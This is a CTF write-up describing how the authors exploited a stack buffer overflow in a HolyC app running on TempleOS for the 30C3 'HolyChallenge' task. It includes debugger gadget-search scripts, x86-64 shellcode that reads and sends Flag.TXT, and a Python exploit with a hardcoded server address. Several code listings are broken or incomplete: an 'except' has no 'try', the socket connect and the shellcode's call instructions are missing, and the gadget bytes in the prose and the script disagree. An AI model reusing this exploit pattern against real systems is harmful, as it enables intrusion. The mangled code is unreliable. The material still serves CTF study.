HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :)
Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this:
CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n");
CommBusyGetS(1, buffer); ← obvious buffer overflow
CommBusyPutS(1, "Unfortunately, there is not much in here, ");
CommBusyPutS(1, "Hope you still had some fun...\nBye!\n");
So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process).
We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp $) sequence in memory below current RIP:
for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);
Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.
The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.
The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:
; Give us some breathing space on the stack.
sub rsp, 0x100
mov rbp, rsp
sub rsp, 0x100
; Get the flag.
lea rax, [rel str1]
mov eax, 0x2e39b ; FileRead
; Send it.
mov eax, 0x1dcf0 ; CommBusyPutS
; Enter the debugger.
str1: db "Flag.TXT", 0
The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:
Welcome to Holy Challenge!
Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :)
please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa
-- Work to do: 79aa76aa
Running: a.exe 79aa76aa>solved2.txt
Right, now we start a vm for you (it will be killed after 30 seconds).
Welcome to the HolyChall!
Whats Your Name?
Unfortunately, there is not much in here, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBö@♥.
The Python part of our exploit:
# Echo server program
def RecvUntil(sock, txt):
d = ""
while d.find(txt) == -1:
dnow = sock.recv(1024)
if len(dnow) == 0:
print "[WARNING] RecvUntil() failed at recv"
except socket.error as msg:
print "[WARNING] RecvUntil() failed:", msg
d += dnow
HOST = '184.108.40.206'
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
data = RecvUntil(s, "> ")
work=data[data.find('hex:') + 4:]
print "-- Work to do:", work
to_run = "a.exe %s>solved.txt" % work
print "Running:", to_run
n = int(open("solved.txt", "r").read(), 16)
n = base64.b64encode(struct.pack("<I", n))
print "Solution:", n
s.sendall(n + "\n")
data = RecvUntil(s, "Whats Your Name?")
JMP_RSP = struct.pack("<Q", 0x34094)
#shell = "asdf"
shell = ("A"*128)
shell += ("B"*8)
shell += JMP_RSP
with open("shellcode", "rb") as f:
shell += f.read()
shell += "\n";
data = RecvUntil(s, ".")
d = s.recv(1024)
if d == '':
print "Recv:", d
A really fun task :)